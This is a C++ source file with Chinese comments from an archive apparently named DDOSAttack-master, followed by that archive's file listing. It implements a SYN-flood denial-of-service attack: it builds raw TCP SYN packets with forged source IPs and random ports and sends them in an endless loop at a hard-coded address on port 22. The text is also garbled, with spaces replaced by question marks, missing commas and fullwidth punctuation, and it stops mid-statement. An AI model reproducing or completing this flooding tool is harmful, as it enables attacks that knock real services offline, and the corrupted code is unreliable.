//?ConsoleApplication4.cpp?:?定義控制臺應用程序的入口點。
//

#include?“stdafx.h“?
#include???
#include???
#include???
#pragma?comment（lib“WS2_32.LIB“）???
typedef?struct?tag_ip_Header?{//ip首部????
	unsigned?char?h_verlen;//4位手部長度，和4位IP版本號??
	unsigned?char?tos;//8位類型服務???
	unsigned?short?total_len;//16位總長度??
	unsigned?short?ident;//16位標志???
	unsigned?short?frag_and_flags;//3位標志位（如SYNACK等等）??
	unsigned?char?ttl;//8位生存時間??
	unsigned?char?proto;//8位協議???
	unsigned?short?checksum;//ip手部效驗和??
	unsigned?int?SourceIP;//偽造IP地址??
	unsigned?int?DestIP;//攻擊的ip地址?
}IPHEADER;????
typedef?struct?tag_tcp_Header??{??
	USHORT?th_sport;//偽造端口??
	USHORT?th_dport;//攻擊端口???
	unsigned?int?th_seq;//32位系列號??
	unsigned?int?th_ack;//32位確認號??
	unsigned?char?th_lenres;//4位首布長度，6位保留字?
	unsigned?char?th_flag;//6位標志位??
	USHORT?th_win;//16位窗口大小?
	USHORT?th_sum;//16位效驗和??
	USHORT?th_urp;//?
}TCPHEADER;????
typedef?struct?tag_tsd_Header??{??
	unsigned?long?saddr;//偽造地址?
	unsigned?long?daddr;//攻擊地址?
	char?mbz;//???
	char?ptcl;//協議類型???
	unsigned?short?tcpl;//TCP長度?
}TSDHEADER;???
DWORD?WINAPI?Start（void）;??
HANDLE?hFind[10];????
//計算效驗和??
USHORT?Checksum（USHORT?*bufferint?size）??{??
	unsigned?long?check=0;??
	while（size>1）??{?
		check+=*buffer++;?
		size?-=sizeof（USHORT）;?
	}??
	if（size）??{??
		check?+=?*（USHORT*）buffer;?
	}??
	check?=?（check?>>16）?+?（check?&?0xffff）;??
	check?+=?（check?>>16）;??
	return?（USHORT）（~check）;?
}???
//攻擊線程???
DWORD?WINAPI?Statr（void）??{??
	SOCKET?sock;??
	WSADATA?WSAData;??
	SOCKADDR_IN?syn_in;?
	IPHEADER?ipHeader;?
	TCPHEADER?tcpHeader;?
	TSDHEADER?psdHeader;???
	const?char?*addr?=?“192.168.145.128“;//攻擊的IP地址??
	int?port?=?22;//要攻擊的端口??
	if（WSAStartup（MAKEWORD（22）&WSAData））??{??
		return?false;??
	}??
	if（（sock?=?socket（AF_INETSOCK_RAWIPPROTO_IP））==INVALID_SOCKET）??{?
		return?false;
	}??
	BOOL?flag=true;??
	if（setsockopt（sockIPPROTO_IPIP_HDRINCL（char*）&flagsizeof（flag））==SOCKET_ERROR）??{??
		return?false;?
	}??
	int?Time?=888;??
	if（setsockopt（sockSOL_SOCKETSO_SNDTIMEO（char*）&Timesizeof（Time））==SOCKET_ERROR）??{?
		return?false;?
	}???
	syn_in.sin_family?=?AF_INET;?
	syn_in.sin_port?=?htons（port）;?
	syn_in.sin_addr.S_un.S_addr?=?inet_addr（addr）;?
	while（TRUE）??{??
		//填充IP首部???
		ipHeader.h_verlen=（4<<4?|?sizeof（ipHeader）/sizeof（unsigned?long））;?
		ipHeader.tos=0;??
		ipHeader.total_len=htons（sizeof（ipHeader）+sizeof（tcpHeader））;
		ipHeader.ident=1;??
		ipHeader.frag_and_flags=0;?
		ipHeader.ttl=（unsigned?char）GetTickCount（）%514+620;?
		ipHeader.proto=IPPROTO_TCP;??
		ipHeader.checksum=0;???
		ipHeader.SourceIP=htonl（GetTickCount（）*1986）;??
		ipHeader.DestIP=inet_addr（addr）;???//填充Tcp首部??
		int?SourcePort?=GetTickCount（）*1986%514;?
		tcpHeader.th_dport=htons（port）;??
		tcpHeader.th_sport=htons（SourcePort）;
		tcpHeader.th_seq=htonl（0x12345678）;??
		tcpHeader.th_ack=0;??
		tcpHeader.th_lenres=（sizeof（tcpHeader）/4<<4|0）;?
		tcpHeader.th_flag=2;???
		tcpHeader.th_win=htons（620）;??
		tcpHeader.th_urp=0;?
		tcpHeader.th_sum=

?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????目錄???????????0??2016-03-17?13:03??DDOSAttack-master\
?????文件????????4284??2016-03-17?13:03??DDOSAttack-master\DDOSAttack.cpp
?????文件?????????218??2016-03-17?13:03??DDOSAttack-master\stdafx.h